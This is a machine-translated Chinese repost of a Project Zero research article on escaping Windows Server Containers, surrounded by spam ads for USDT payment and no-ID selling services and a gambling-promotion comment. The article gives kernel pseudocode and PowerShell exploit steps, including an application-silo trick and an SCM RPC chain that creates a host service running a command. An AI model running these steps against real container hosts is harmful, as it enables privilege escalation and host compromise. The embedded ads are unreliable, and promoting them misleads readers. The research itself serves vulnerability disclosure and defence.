USDT自动充值接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

这是一篇简短的研究文章, 内容涉及我在Windows Server Containers上举行的一项研究项目,Microsoft在2021年3月修复了我在Windows Server Containers容器中发现的四个特权提升破绽。

0x01 Windows容器先容

Windows 10及其与之对应的服务器增添了对应用程序容器化的支持。Windows中的实现在看法上与Linux容器相似,然则也有很大的差异。众所周知的Docker平台支持Windows容器,从而可以使相关项目(例如在Windows上运行的Kubernetes)可用。你可以在MSDN上的Windows容器上阅读一些靠山知识。我不会深入探讨容器在Linux中的事情方式,由于很少适用于Windows。

容器的主要目的是向应用程序隐藏真实的OS。例如,在Docker中,你可以下载尺度容器映像,其中包罗Windows的完全自力副本。该映像用于构建容器,该容器使用Windows内核的一种称为Server Silo的函数, 允许对资源举行重定向,例如工具治理器,注册表和网络。服务器silo是Job工具的一种特殊类型,可以分配给一个历程。

尽可能在容器中运行的应用程序会信托它正在其自己的唯一OS实例中运行。它对系统所做的任何更改只会影响容器,而不会影响托管它的现实操作系统。由于可以隐藏任何系统或操作系统差异,因此治理员可以轻松地启动应用程序的新实例。

例如,容器可以在差其余Windows系统之间移动,甚至可以在具有适当虚拟化函数的Linux系统上移动,而且应用程序无法分辨出差异。然则,容器不应与虚拟化混淆,后者可为操作系统提供一致的硬件接口。 容器更多是关于为应用程序提供一致的OS接口。

现实上,容器主要是关于使用其隔离原语来隐藏现实的OS并提供应用程序可以在其中执行的一致设置。然则,在容器内运行还具有一些潜在的平安优势,由于应用程序不应该能够直接与主机上的其他历程和资源举行交互。

有两种受支持的容器类型:Windows Server容器和Hyper-V隔离容器。Windows Server容器作为服务器silo内的单独历程在当前内核下运行。因此,一个内核破绽将使你能够逃逸容器并接见主机系统。

Hyper-V隔离容器仍在服务器silo中运行,但在单独的轻量级VM中运行。你仍然可以使用相同的内核破绽来逃逸服务器silo,然则仍然受到VM和虚拟机治理程序的约束。要完全逃逸并接见主机,你还需要单独的VM逃逸。

当前的MSRC平安服务尺度 指出Windows Server容器不是平安界限,由于你仍然可以直接接见内核。然则,若是你使用Hyper-V隔离,则由于平安界限位于虚拟机治理程序级别,因此silo逃逸不会直接损害主机OS。也就是说,逃逸服务器silo可能是攻击Hyper-V容器的第一步,这意味着逃逸仍然是链中的一部门。

由于Windows Server容器不是平安界限,因此该函数中的任何错误都不会宣布平安通告。任何问题都可能在Windows的下一个主要版本中获得解决,但可能没有获得解决。

0x02 研究靠山

在一年前,Palo Alto Networks的研究员丹尼尔Prizmant在围绕Windows工具治理器符号链接上有一些研究功效。Daniel正在研究Windows容器,并希望在函数上获得辅助,该函数允许将符号链接符号为全局,从而使它们可以引用服务器silo之外的工具。我建议阅读Daniel的博客文章 ,以获取有关Windows容器的更多深入信息。

https://unit42.paloaltonetworks.com/what-i-learned-from-reverse-engineering-windows-containers/

稍微领会一下符号链接,我就可以辅助填写一些详细信息和用法。约莫七个月后,Daniel宣布了第二篇博客文章,这次形貌了若何使用全局符号链接来逃逸服务器silo Windows容器。破绽行使的效果是容器中的用户可以接见容器外部的资源,例如文件。

全局符号链接函数需要 启用SeTcbPrivilege ,该函数只能从SYSTEM接见。因此,该破绽行使涉及从默认治理员用户注入系统历程并从那里运行破绽行使。凭证博客文章,我以为无需注入即可轻松完成。你可以模拟SYSTEM令牌并举行所有行使。我在PowerShell中编写了一个简朴的PoC并将其放在Github上。

https://gist.github.com/tyranid/bf8a890e615d310c7193901a1c7e0e3a

Palo Alto Networks的另一位研究职员向Google Cloud讲述说,Google Kubernetes Engine(GKE) 易受Daniel指出的问题的影响。Google Cloud使用Windows Server容器运行Kubernetes,因此可以逃逸该容器并接见该主机,而该主机原本是不能接见的。

Microsoft尚未修补此问题,破绽仍可行使。他们没有修补它,由于Microsoft以为这些问题不能行。因此,GKE团队一直在追求缓解措施。一个建议是缓解执行容器到运行ContainerUser帐户,而不是Container Administrator 。

然则,我不信托没有非治理员用户可以行使的类似破绽。因此,我决议对Windows Server容器举行自己的研究,以确定使用ContainerUser的指导是否真的可以消除风险。

虽然我并不期望MS会解决任何问题,但我发现它至少可以让我向GKE团队提供内部反馈,以便他们可以更好地缓解问题。它还为使用Windows Server容器所涉及的风险确立了一个大略的基准。

0x03 研究历程

第一步是使一些代码在具有代表性的容器中运行。没有报道涉及到GKE,因此我假设我可以只运行内陆Windows Server Container。

重新最先设置你自己的服务器silo是没有纪录的,险些可以一定是没有需要的。在Windows中启用容器支持函数时,将安装Hyper-V主机盘算服务。这样可以同时设置Hyper-V和处置隔离的容器。与该服务交互的API尚未正式纪录,然则Microsoft提供了公共包装器,例如Go包装器。

现实上,最好仅使用带有 MS提供的Go包装器并实现更熟悉的Docker CLI的Docker。只管可能存在特定于Docker的逃逸,然则Windows Docker容器的焦点函数所有由Microsoft提供。请注重,有两种版本的Docker:仅用于服务器系统的Enterprise和Desktop。我主要是为了利便使用台式机。

顺便说一句,MSRC不会将任何问题视为跨越平安界限 的条件条件,在此条件下,必须成为Hyper-V Administrators组的成员。使用Hyper-V主机盘算服务需要Hyper-V治理员 组的成员身份。然则,Docker以足够的特权运行,不需要用户成为该组的成员。取而代之的是,通过单独的docker-users 组的成员资格来控制对Docker的接见。若是你让代码在具有docker-users 组成员身份的非治理员用户下运行,则可以通过滥用Docker的服务器silo支持来使用该代码来获得所有治理员特权。

辛运的是,大多数Windows Docker映像都安装了.NET和PowerShell,因此我可以使用现有的工具集。我编写了一个简朴的docker文件,其中包罗以下内容:

FROM mcr.microsoft.com/windows/servercore:20H2
USER ContainerUser
COPY NtObjectManager c:/NtObjectManager
CMD [ "powershell", "-noexit", "-command", \
  "Import-Module c:/NtObjectManager/NtObjectManager.psd1" ]

该docker文件将从Microsoft容器注册表中下载Windows Server Core 20H2容器映像,复制到我的NtObjectManager PowerShell模块中,然后设置下令以在启动时加载该模块。我还指定PowerShell历程将以用户ContainerUser的身份运行, 以便我可以测试缓解能力。若是你不指定用户,则默认情形下它将以ContainerAdministrator身份运行。

请注重,在使用历程隔离模式时,容器映像版本必须与主机操作系统匹配。这是由于内核在主机和容器之间共享,而且用户模式代码和内核之间的任何不匹配都可能导致兼容性问题。因此,若是你要复制它,则可能需要更改容器映像的名称。

确立一个目录并将docker文件的内容复制到该目录中的文件名dockerfile 中。还要将我的PowerShell模块的副本复制 到NtObjectManager目录下的统一目录中。然后,在该目录中的下令提醒符下,运行以下下令来构建和运行容器。

C:\container> docker build -t test_image .
Step 1/4 : FROM mcr.microsoft.com/windows/servercore:20H2
 ---> b29adf5cd4f0
Step 2/4 : USER ContainerUser
 ---> Running in ac03df015872
Removing intermediate container ac03df015872
 ---> 31b9978b5f34
Step 3/4 : COPY NtObjectManager c:/NtObjectManager
 ---> fa42b3e6a37f
Step 4/4 : CMD [ "powershell", "-noexit", "-command",   "Import-Module c:/NtObjectManager/NtObjectManager.psd1" ]
 ---> Running in 86cad2271d38
Removing intermediate container 86cad2271d38
 ---> e7d150417261
Successfully built e7d150417261
Successfully tagged test_image:latest
C:\container> docker run --isolation=process -it test_image
PS>

我想使用历程隔离而不是Hyper-V隔离来运行代码,因此我需要指定--isolation = process 参数。这将使我能够更轻松地查看系统交互,由于若是需要,我可以直接调试容器历程。例如,你可以使用“历程监视器”来监视文件和注册表接见。Docker Enterprise默认使用历程隔离,而Desktop使用Hyper-V隔离。

我现在有一个PowerShell控制台以ContainerUser的身份在容器中运行。一种快速的检查乐成的方式是实验找到CExecSvc历程,它是Container Execution Agent服务。此服务用于天生你的初始PowerShell控制台。

PS> Get-Process -Name CExecSvc
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
     86       6     1044       5020              4560   6 CExecSvc

随着容器的运行,我做的第一件事是转储ContainerUser的 令牌,只是为了查看分配了哪些组和特权。你可以使用Show-NtTokenEffective 下令来执行此操作。

PS> Show-NtTokenEffective -User -Group -Privilege
USER INFORMATION
----------------
Name                       Sid
----                       ---
User Manager\ContainerUser S-1-5-93-2-2
GROUP SID INFORMATION
-----------------
Name                                   Attributes
----                                   ----------
Mandatory Label\High Mandatory Level   Integrity, ...
Everyone                               Mandatory, ...
BUILTIN\Users                          Mandatory, ...
NT AUTHORITY\SERVICE                   Mandatory, ...
CONSOLE LOGON                          Mandatory, ...
NT AUTHORITY\Authenticated Users       Mandatory, ...
NT AUTHORITY\This Organization         Mandatory, ...
NT AUTHORITY\LogonSessionId_0_10357759 Mandatory, ...
LOCAL                                  Mandatory, ...
User Manager\AllContainers             Mandatory, ...
PRIVILEGE INFORMATION
---------------------
Name                          Luid              Enabled
----                          ----              -------
SeChangeNotifyPrivilege       00000000-00000017 True
SeImpersonatePrivilege        00000000-0000001D True
SeCreateGlobalPrivilege       00000000-0000001E True
SeIncreaseWorkingSetPrivilege 00000000-00000021 False

这些组似乎没有那么有趣,然则看看我们拥有SeImpersonatePrivilege的特权。若是你具有此特权,则可以模拟系统上的任何其他用户,包罗治理员。MSRC以为将SeImpersonatePrivilege等同于治理员,这意味着若是你拥有,则可以假定你可以成为治理员。似乎ContainerUser并不像应有的正常。

那对我的研究来说是一个异常糟糕的最先。他之前的假设是,运行的ContainerUser不会授予治理员权限,因此存在符号链接问题,不能直接行使,然则事实证实并非云云。 例如 ,只要未启用WinRM,就可以使用公共RogueWinRM破绽行使 来获取SYSTEM令牌,在大多数Windows容器映像中都是这种情形。毫无疑问,另有其他鲜为人知的手艺可以实现相同的目的。确立用户帐户的代码在CExecSvc中, 这是Microsoft拥有的代码,并不特定于Docker。

https://github.com/antonioCoco/RogueWinRM

NextI使用NtObject 驱动器提供程序列出了工具治理器名称空间。例如,检查装备目录显示哪些装备工具可用。

PS> ls NtObject:\Device
Name                                              TypeName
----                                              --------
Ip                                                SymbolicLink
Tcp6                                              SymbolicLink
Http                                              Directory
Ip6                                               SymbolicLink
ahcache                                           SymbolicLink
WMIDataDevice                                     SymbolicLink
LanmanDatagramReceiver                            SymbolicLink
Tcp                                               SymbolicLink
LanmanRedirector                                  SymbolicLink
DxgKrnl                                           SymbolicLink
ConDrv                                            SymbolicLink
Null                                              SymbolicLink
MailslotRedirector                                SymbolicLink
NamedPipe                                         Device
Udp6                                              SymbolicLink
VhdHardDisk{5ac9b14d-61f3-4b41-9bbf-a2f5b2d6f182} SymbolicLink
KsecDD                                            SymbolicLink
DeviceApi                                         SymbolicLink
MountPointManager                                 Device
...

有趣的是,大多数装备驱动程序是符号链接,而不是现实的装备工具。然则,有一些现实的装备工具可用。甚至VHD磁盘卷也是到容器外部装备的符号链接。在可行使的装备中可能潜藏着某些器械,这些器械可以被行使,但我仍处于研究阶段。

注册表呢?该容器应提供自己的注册表设置单元,因此该容器之外不应有任何可接见的内容。经由几回测试后,我发现一些异常新鲜的器械。

PS> ls HKLM:\SOFTWARE | Select-Object Name
Name
----
HKEY_LOCAL_MACHINE\SOFTWARE\Classes
HKEY_LOCAL_MACHINE\SOFTWARE\Clients
HKEY_LOCAL_MACHINE\SOFTWARE\DefaultUserEnvironment
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
HKEY_LOCAL_MACHINE\SOFTWARE\ODBC
HKEY_LOCAL_MACHINE\SOFTWARE\OpenSSH
HKEY_LOCAL_MACHINE\SOFTWARE\Policies
HKEY_LOCAL_MACHINE\SOFTWARE\RegisteredApplications
HKEY_LOCAL_MACHINE\SOFTWARE\Setup
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node
PS> ls NtObject:\REGISTRY\MACHINE\SOFTWARE | Select-Object Name
Name
----
Classes
Clients
DefaultUserEnvironment
Docker Inc.
Intel
Macromedia
Microsoft
ODBC
OEM
OpenSSH
Partner
Policies
RegisteredApplications
Windows
WOW6432Node

第一个下令是使用内置的注册表驱动器提供程序查询内陆皮算机SOFTWARE设置单元。第二个下令是使用模块的工具治理器提供程序列出相同的设置单元。若是仔细考察,这两个下令的键列表是差其余。我检查了其他一些键,例如用户设置单元毗邻点:

PS> ls NtObject:\REGISTRY\USER | Select-Object Name
Name
----
.DEFAULT
S-1-5-19
S-1-5-20
S-1-5-21-426062036-3400565534-2975477557-1001
S-1-5-21-426062036-3400565534-2975477557-1001_Classes
S-1-5-21-426062036-3400565534-2975477557-1003
S-1-5-18
PS> Get-NtSid
Name                       Sid
----                       ---
User Manager\ContainerUser S-1-5-93-2-2

ContainerUser的SID是S-1-5-93-2-2 ,你希望看到该用户SID的已加载设置单元。然则,并非云云,而是看到了S-1-5-21-426062036-3400565534-2975477557-1001 ,它是容器外部用户的SID。

,

U交所

U交所(www.payusdt.vip),全球頂尖的USDT場外擔保交易平臺。

,

早在2016年,我讲述了一个 应用程序设置单元的错误,其中你无法直接打开\ REGISTRY \ A 附加点,然则若是你打开\ REGISTRY 然后可以对A举行相对打开。事实证实,幸运的是,模块驱动器提供程序中的注册表枚举代码使用通过本机系统挪用的相对打开,而PowerShell内置通过Win32 API使用绝对打开。 因此,这是类似错误的体现:举行相对打开将忽略注册表笼罩,并提供对现实设置单元的接见。

只要ContainerUser可以通过密钥接见检查,就可以授予非治理员用户对主机上任何注册表项的接见权限。你可以想象主机在注册表中存储了一些主要数据,容器现在可以读取这些数据,然则使用它来逃逸容器将很难题。就是说,你要做的就是滥用SeImpersonatePrivilege 来获取治理员接见权限,你可以立刻最先修改主机的注册表设置单元。

我在不到一天的时间内就遇到了两个错误,这有点令人担忧,我以为我应该更深入地研究内核,以领会通俗用户还可以行使什么。

0x04 逆向剖析

只管仅举行基本检查已取得了丰硕功效,但可能需要举行一些逆向剖析才气消除其他问题。我从以前在Desktop Bridge上的履历中知道,当与silo连系使用时,可以知道注册表笼罩和工具治理重视定向的事情方式。对于Desktop Bridge,它使用应用程序silo而不是服务器silo,然则它们接纳类似的方式。

内核用来提供容器隔离的主要执行机制是挪用一个函数来检查历程是否在silo中,并凭证效果执行差其余操作。我决议实验跟踪检查silo状态的位置,看看是否可以发现任何滥用情形。你可能会以为内核只有几个函数可以返回当前的silo状态。不幸的是,你错了,以下是我检查过的函数列表:

IoGetSilo,IoGetSiloParameters,MmIsSessionInCurrentServerSilo,OBP_GET_SILO_ROOT_DIRECTORY_FROM_SILO,ObGetSiloRootDirectoryPath,ObpGetSilosRootDirectory,PsGetCurrentServerSilo,PsGetCurrentServerSiloGlobals,PsGetCurrentServerSiloName,PsGetCurrentSilo,PsGetEffectiveServerSilo,PsGetHostSilo,PsGetJobServerSilo,PsGetJobSilo,PsGetParentSilo,PsGetPermanentSiloContext,PsGetProcessServerSilo,PsGetProcessSilo,PsGetServerSiloActiveConsoleId,PsGetServerSiloGlobals,PsGetServerSiloServiceSessionId,PsGetServerSiloState,PsGetSiloBySessionId,PsGetSiloContainerId,PsGetSiloContext, PsGetSiloIdentifier,PsGetSiloMonitorContextSlot,PsGetThreadServerSilo,PsIsCurrentThreadInServerSilo,PsIsHostSilo,PsIsProcessInAppSilo,PsIsProcessInSilo,PsIsServerSilo,PsIsThreadInSilo

固然,这不是完整的函数列表,然则看起来是最有可能返回silo及其属性或检查silo中是否存在某些函数的那些函数。由于种种缘故原由,检查这些函数的引用并不会很周全:

1. 我们只举行bad check,而不是lack check。

2. 内核具有包罗silo的Job工具的结构类型界说,因此可以轻松地内联该挪用。

3. 我们仅检查内核,其中许多函数已导出以供驱动程序使用,因此可以由我们不关注的其他内核组件挪用。

我发现的第一个问题是由于挪用了PsIsCurrentThreadInServerSilo造成的。我注重到对CmpOKToFollowLink内部函数的引用,该函数 认真在注册表中执行符号链接检查。在基本级别上,不允许注册表符号链接从不受信托的设置单元遍历到受信托的设置单元。

例如,若是在当前用户的设置单元中放置一个符号链接,该符号链接重定向到内陆皮算机设置单元,则CmpOKToFollowLink 将在打开键时返回FALSE,操作将失败。这样可以防止用户在其设置单元中植入符号链接并找到特权应用程序,该应用程序将写入该位置以提升特权。

BOOLEAN CmpOKToFollowLink(PCMHIVE SourceHive, PCMHIVE TargetHive) {
  if (PsIsCurrentThreadInServerSilo() 
    || !TargetHive
    || TargetHive == SourceHive) {
    return TRUE;
  }
  if (SourceHive->Flags.Trusted)
    return FALSE;
  // Check trust list.
}

查看CmpOKToFollowLink, 我们可以看到 正在使用PsIsCurrentThreadInServerSilo的位置。若是当前线程在服务器silo中,则任何设置单元之间都允许所有链接。仅在此初始检查之后才检查源设置单元的受信托状态,因此将其绕开。我推测在开发历程中无法将注册表叠加层符号为受信托,因此叠加层中的符号链接将不会追随它所叠加的受信托的设置单元,从而引起问题。也许有人添加了此旁路以使事情正常举行,然则没有人意识到,添加了对可信叠加层的支持后需要删除它。

为了在容器中行使此破绽,我需要找到一个特权内核组件,该组件将写入我可以控制的注册表项。我在Win32k中找到了一个很好的原语,用于支持FlickInfo设置。设置设置时,Win32k会在当前用户的设置单元中确立一个已知密钥。然后,我可以将密钥确立重定向到内陆皮算机设置单元,从而允许在特权位置确立随便密钥。我不以为该原语可以直接与注册表silo逃逸问题连系使用,然则我没有举行深入研究。至少这将允许非治理员用户提升容器内的特权,然后你可以在其中使用注册表silo逃逸来写入主机注册表。

第二个问题是由于挪用了OBP_GET_SILO_ROOT_DIRECTORY_FROM_SILO 。此函数将获取silo的根工具治理器名称空间目录。

POBJECT_DIRECTORY OBP_GET_SILO_ROOT_DIRECTORY_FROM_SILO(PEJOB Silo) {
  if (Silo) {
    PPSP_STORAGE Storage = Silo->Storage;
    PPSP_SLOT Slot = Storage->Slot[PsObjectDirectorySiloContextSlot];
    if (Slot->Present)
      return Slot->Value;
  }
  return ObpRootDirectoryObject;
}

我们可以看到该函数将从传入的silo中提取存储参数,若是存在,它将返回slot的值。若是silo为NULL或不存在slot,则返回存储在ObpRootDirectoryObject中的全局根目录。设置服务器silo后,该slot将填充一个新的根目录,因此此函数应始终返回silo根目录,而不是现实的全局根目录。

这段代码看起来很不错,若是传入服务器silo,则应始终返回silo根工具目录。真正的问题是,此函数的挪用者现实上转达了什么信息?我们可以很容易地检查一下,只有两个挪用方,而且它们都具有以下代码。

PEJOB silo = PsGetCurrentSilo();
Root = OBP_GET_SILO_ROOT_DIRECTORY_FROM_SILO(silo);

好的,以是silo来自PsGetCurrentSilo 。

PEJOB PsGetCurrentSilo() {
  PETHREAD Thread = PsGetCurrentThread();
  PEJOB silo = Thread->Silo;
  if (silo == (PEJOB)-3) {
    silo = Thread->Tcb.Process->Job;
    while(silo) {
      if (silo->JobFlags & EJOB_SILO) {
        break;
      }
      silo = silo->ParentJob;
    }
  }
  return silo;
}

silo可以通过模拟与线程关联,也可以与历程关联的作业条理结构中的一个作业关联。此函数首先检查线程是否在silo中。若是不是,则由-3占位符示意,它将在作业条理结构中的任何作业中搜索该历程,以查找 设置了JOB_SILO标志的任何内容。若是找到了silo,则从函数中返回它,否则将返回NULL。

这是一个问题,由于它没有明确检查服务器silo。我之条件到过,有两种类型的silo:应用程序和服务器。虽然确立新服务器silo需要治理员特权,然则确立应用程序silo完全不需要特权。因此,诱骗工具治理器使用根目录,我们需要做的是:

1. 确立一个应用程序silo。

2. 将其分配给线程。

3. 完全接见工具治理器名称空间的根。

这基本上是全局symlink破绽的更壮大版本,不需要治理员特权即可运行。同样,与注册表问题一样,你仍然受限于可以基于容器中的令牌在容器外部举行修改的内容。然则你可以读取磁盘上的文件,或与主机系统上的ALPC端口举行交互。

使用我的工具链,PowerShell中的破绽行使异常简朴:

PS> $root = Get-NtDirectory "\"
PS> $root.FullPath
\
PS> $silo = New-NtJob -CreateSilo -NoSiloRootDirectory
PS> Set-NtProcessJob $silo -Current
PS> $root.FullPath
\Silos\748

为了测试破绽行使,我们首先打开当前的根目录工具,然后在内核看到它时打印其完整路径。纵然silo根目录不是真正的根目录,内核也会通过返回单个反斜杠作为路径来使其看起来像根目录。

然后,我们使用New-NtJob下令确立应用程序silo。你需要指定NoSiloRootDirectory来防止代码实验确立我们不希望且无法通过非治理员帐户完成的根目录。然后,我们可以将应用程序silo分配给该流程。

现在,我们可以再次检查根目录路径。现在,我们发现根目录现实上称为\ Silos \ 748, 而不仅仅是一个反斜杠。这是由于内核现在正在使用根目录。此时,你可以通过工具治理器接见主机上的资源。

0x05 破绽行使链

就主机的SCM而言,你是治理员,因此它将授予你确立随便服务的完全接见权限。然则,当该服务启动时,它将在主机中运行,而不是在容器中运行,从而消除所有限制。Win32 API可以缓存SCM的RPC句柄。若是在安装服务之前在PowerShell的任何部门中与SCM确立了任何毗邻,则最终将接见容器的SCM,而不是主机。

要解决此问题,我们可以直接使用NtObjectManager的RPC下令接见RPC服务。

PS> $imp = $token.Impersonate()
PS> $sym_path = "$env:SystemDrive\symbols"
PS> mkdir $sym_path | Out-Null
PS> $services_path = "$env:SystemRoot\system32\services.exe"
PS> $cmd = 'cmd /C echo "Hello World" > \hello.txt'
, You can also use the following to run a container based executable.
,$cmd = Use-NtObject($f = Get-NtFile -Win32Path "demo.exe") {
,   "\\.\GLOBALROOT" + $f.FullPath
,}
PS> Get-Win32ModuleSymbolFile -Path $services_path -OutPath $sym_path
PS> $rpc = Get-RpcServer $services_path -SymbolPath $sym_path | 
   Select-RpcServer -InterfaceId '367abb81-9844-35f1-ad32-98f038001003'
PS> $client = Get-RpcClient $rpc
PS> $silo = New-NtJob -CreateSilo -NoSiloRootDirectory
PS> Set-NtProcessJob $silo -Current
PS> Connect-RpcClient $client -EndpointPath ntsvcs
PS> $scm = $client.ROpenSCManagerW([NullString]::Value, `
 [NullString]::Value, `
 [NtApiDotNet.Win32.ServiceControlManagerAccessRights]::CreateService)
PS> $service = $client.RCreateServiceW($scm.p3, "GreatEscape", "", `
 [NtApiDotNet.Win32.ServiceAccessRights]::Start, 0x10, 0x3, 0, $cmd, `
 [NullString]::Value, $null, $null, 0, [NullString]::Value, $null, 0)
PS> $client.RStartServiceW($service.p15, 0, $null)

为了使此代码正常事情,应该在$ token 变量中模拟一个治理员令牌。留下令牌作为演习是留给读者的。在容器中运行它时,效果应该是将文件hello.txt 写入主机的系统驱动器的根目录。

0x06 研究总结

我决议立刻讲述注册表符号链接问题,由于我可以争辩说这将允许非治理员在容器内部提升特权。这将适合我在Windows中发现的通俗错误的局限,它只需要一个特殊的环境即可运行。这是刊行版2120 ,已在2021年2月修复为CVE-2021-24096。该补丁异常简朴,对PsIsCurrentThreadInServerSilo的挪用被删除了,由于它可能是多余的。

具有SeImpersonatePrivilege的ContainerUser的问题可能是设计缘故原由。我找不到任何形貌此行为的Microsoft或Docker官方文档,因此我很小心要讲述此行为。这就像讲述正常服务帐户具有特权一样,这是设计使然。

其他两个silo逃逸的情形加倍庞大,由于它们明确越过了未设防的界限。若是不解决这些问题,险些没有需要向Microsoft讲述它们。公然宣布信息将具有更大的价值,以便容器的任何用户都可以实验查找缓解控件,或者住手将Windows Server容器用于任何可能运行不受信托的代码的地方。

在与MSRC中的种种职员往返交流后,做出了一个决议。若是容器逃逸是由非治理员用户执行的,则基本上,若是你可以接见容器外部的资源,则将其视为特权升级,因此可以使用。这意味着丹尼尔(Daniel)引发此问题的全局符号链接错误仍然无法提升权限,由于它要求SeTcbPrivilege,只有治理员才气获得。

我报了其他三个问题(ContainerUser问题也被以为是在局限内)为2127,2128 和2129。这些都划分在2021年3月宣布为CVE-2021-26891,CVE-2021-26865 和CVE-2021-26864 。

Microsoft决议不支持Windows Server Containers作为平安界限,这似乎是一个有用的决议,由于这里存在许多攻击面。虽然我想法解决了四个问题,但我嫌疑它们是唯一可以发现和行使的问题。理想情形下,你永远不应该在Windows Server容器中运行不受信托的事情负载,然则它也可能也不应提供可远程接见的服务,对于他们来说,唯一现实的用例是内部可见的服务,险些不需其他交互。GKE的官方指南是在多租户方案中不要使用Windows Server容器。这在此处的GKE文档中举行了先容。

显然,推荐的方式是使用Hyper-V隔离。云云一来,Hyper-V至少是受支持的平安界限。然则,容器逃逸仍然有用,由于在任何乐成的逃逸中获得对托管VM的完全接见权限都异常主要。然则,并非所有人都可以运行Hyper-V,这就是GKE当前未修补它的缘故原由。

本文翻译自:https://googleprojectzero.blogspot.com/2021/04/who-contains-containers.html: USDT官网接口声明:该文看法仅代表作者自己,与本平台无关。转载请注明:usdt官网(www.payusdt.vip):Project Zero 对Windows Server Containers 容器逃逸破绽的研究
发布评论

分享到:

usdt充币教程(www.caibao.it):高盛争取捷蓝航空信用卡 发卡营业
1 条回复
  1. Allbet
    Allbet
    (2021-04-17 00:11:44) 1#

    欧博allbet客户端欢迎进入欧博allbet客户端(Allbet Game),欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。路过看看,内容还行。

发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。